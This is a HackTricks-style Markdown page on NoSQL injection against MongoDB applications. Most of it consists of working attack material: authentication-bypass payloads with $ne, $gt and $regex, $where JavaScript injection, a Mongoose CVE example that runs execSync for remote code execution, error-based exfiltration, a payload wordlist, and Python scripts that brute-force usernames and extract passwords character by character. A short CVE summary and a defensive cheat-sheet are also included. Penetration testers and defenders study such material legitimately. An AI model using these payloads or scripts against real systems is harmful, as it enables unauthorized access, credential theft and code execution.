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309 lines
12 KiB
Markdown
309 lines
12 KiB
Markdown
# NoSQL injection
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{{#include ../banners/hacktricks-training.md}}
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## Exploit
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In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter[arrName]=foo._
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The exploits are based in adding an **Operator**:
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```bash
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username[$ne]=1$password[$ne]=1 #<Not Equals>
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username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
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username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
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username[$eq]=admin&password[$ne]=1 #<Equals>
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username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
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username[$ne]=admin&pass[$gt]=s #<Greater Than>
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username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
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{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
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```
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### Basic authentication bypass
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**Using not equal ($ne) or greater ($gt)**
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```bash
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#in URL
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username[$ne]=toto&password[$ne]=toto
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username[$regex]=.*&password[$regex]=.*
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username[$exists]=true&password[$exists]=true
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#in JSON
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{"username": {"$ne": null}, "password": {"$ne": null} }
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{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
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{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
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```
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### **SQL - Mongo**
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```javascript
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query = { $where: `this.username == '${username}'` }
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```
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An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`.
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```
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Normal sql: ' or 1=1-- -
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Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
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```
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### Extract **length** information
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```bash
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username[$ne]=toto&password[$regex]=.{1}
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username[$ne]=toto&password[$regex]=.{3}
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# True if the length equals 1,3...
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```
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### Extract **data** information
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```
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in URL (if length == 3)
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username[$ne]=toto&password[$regex]=a.{2}
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username[$ne]=toto&password[$regex]=b.{2}
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...
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username[$ne]=toto&password[$regex]=m.{2}
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username[$ne]=toto&password[$regex]=md.{1}
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username[$ne]=toto&password[$regex]=mdp
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username[$ne]=toto&password[$regex]=m.*
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username[$ne]=toto&password[$regex]=md.*
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in JSON
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{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
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```
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### **SQL - Mongo**
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```
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/?search=admin' && this.password%00 --> Check if the field password exists
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/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
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/?search=admin' && this.password && this.password.match(/^a.*$/)%00
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/?search=admin' && this.password && this.password.match(/^b.*$/)%00
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/?search=admin' && this.password && this.password.match(/^c.*$/)%00
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...
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/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
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...
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/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
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```
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### PHP Arbitrary Function Execution
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Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/).
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```python
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"user":{"$func": "var_dump"}
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```
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.png>)
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### Get info from different collection
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It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) to get info from a different collection. In the following example, we are reading from a **different collection** called **`users`** and getting the **results of all the entries** with a password matching a wildcard.
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**NOTE:** `$lookup` and other aggregation functions are only available if the `aggregate()` function was used to perform the search instead of the more common `find()` or `findOne()` functions.
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```json
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[
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{
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"$lookup": {
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"from": "users",
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"as": "resultado",
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"pipeline": [
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{
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"$match": {
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"password": {
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"$regex": "^.*"
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}
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}
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}
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]
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}
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}
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]
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```
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### Error-Based Injection
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Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example:
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```json
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{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
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```
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## Recent CVEs & Real-World Exploits (2023-2025)
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### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359
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Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators.
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### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
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When `populate()` is used with the `match` option, Mongoose (≤ 8.8.2) copied the object verbatim *before* sending it to MongoDB. Supplying `$where` therefore executed JavaScript **inside Node.js** even if server-side JS was disabled on MongoDB:
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```js
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// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
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Post.find()
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.populate({ path: 'author', match: req.query.author }); // RCE
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```
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The first patch (8.8.3) blocked top-level `$where`, but nesting it under `$or` bypassed the filter, leading to CVE-2025-23061. The issue was fully fixed in 8.9.5, and a new connection option `sanitizeFilter: true` was introduced.
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### GraphQL → Mongo filter confusion
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Resolvers that forward `args.filter` directly into `collection.find()` remain vulnerable:
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```graphql
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query users($f:UserFilter){
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users(filter:$f){ _id email }
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}
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# variables
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{ "f": { "$ne": {} } }
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```
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Mitigations: recursively strip keys that start with `$`, map allowed operators explicitly, or validate with schema libraries (Joi, Zod).
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## Defensive Cheat-Sheet (updated 2025)
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1. Strip or reject any key that starts with `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
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2. Disable server-side JavaScript on self-hosted MongoDB (`--noscripting`, default in v7.0+).
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3. Prefer `$expr` and aggregation builders instead of `$where`.
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4. Validate data types early (Joi/Ajv) and disallow arrays where scalars are expected to avoid `[$ne]` tricks.
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5. For GraphQL, translate filter arguments through an allow-list; never spread untrusted objects.
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## MongoDB Payloads
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List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
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```
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true, $where: '1 == 1'
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, $where: '1 == 1'
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$where: '1 == 1'
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', $where: '1 == 1
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1, $where: '1 == 1'
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{ $ne: 1 }
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', $or: [ {}, { 'a':'a
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' } ], $comment:'successful MongoDB injection'
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db.injection.insert({success:1});
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db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
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|| 1==1
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|| 1==1//
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|| 1==1%00
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}, { password : /.*/ }
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' && this.password.match(/.*/index.html)//+%00
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' && this.passwordzz.match(/.*/index.html)//+%00
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'%20%26%26%20this.password.match(/.*/index.html)//+%00
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'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
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{$gt: ''}
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[$ne]=1
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';sleep(5000);
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';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
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{"username": {"$ne": null}, "password": {"$ne": null}}
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{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
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{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
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{"username": {"$gt":""}, "password": {"$gt":""}}
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{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
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```
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## Blind NoSQL Script
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```python
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import requests, string
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alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
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flag = ""
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for i in range(21):
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print("[i] Looking for char number "+str(i+1))
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for char in alphabet:
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r = requests.get("http://chall.com?param=^"+flag+char)
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if ("<TRUE>" in r.text):
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flag += char
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print("[+] Flag: "+flag)
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break
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```
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username="admin"
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password=""
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|']:
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payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
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r = requests.post(u, data = {'ids': payload}, verify = False)
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if 'OK' in r.text:
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print("Found one more char : %s" % (password+c))
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password += c
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```
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### Brute-force login usernames and passwords from POST login
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This is a simple script that you could modify but the previous tools can also do this task.
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```python
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import requests
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import string
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url = "http://example.com"
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headers = {"Host": "exmaple.com"}
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cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
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possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
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def get_password(username):
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print("Extracting password of "+username)
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params = {"username":username, "password[$regex]":"", "login": "login"}
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password = "^"
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while True:
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for c in possible_chars:
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params["password[$regex]"] = password + c + ".*"
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pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
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if int(pr.status_code) == 302:
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password += c
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break
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if c == possible_chars[-1]:
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print("Found password "+password[1:].replace("\\", "")+" for username "+username)
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return password[1:].replace("\\", "")
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def get_usernames(prefix):
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usernames = []
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params = {"username[$regex]":"", "password[$regex]":".*"}
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for c in possible_chars:
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username = "^" + prefix + c
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params["username[$regex]"] = username + ".*"
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pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
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if int(pr.status_code) == 302:
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print(username)
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for user in get_usernames(prefix + c):
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usernames.append(user)
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return usernames
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for u in get_usernames(""):
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get_password(u)
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```
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## Tools
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- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
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- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
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- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
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- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
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## References
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- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
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- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
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- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
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- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
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- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
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- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
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- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
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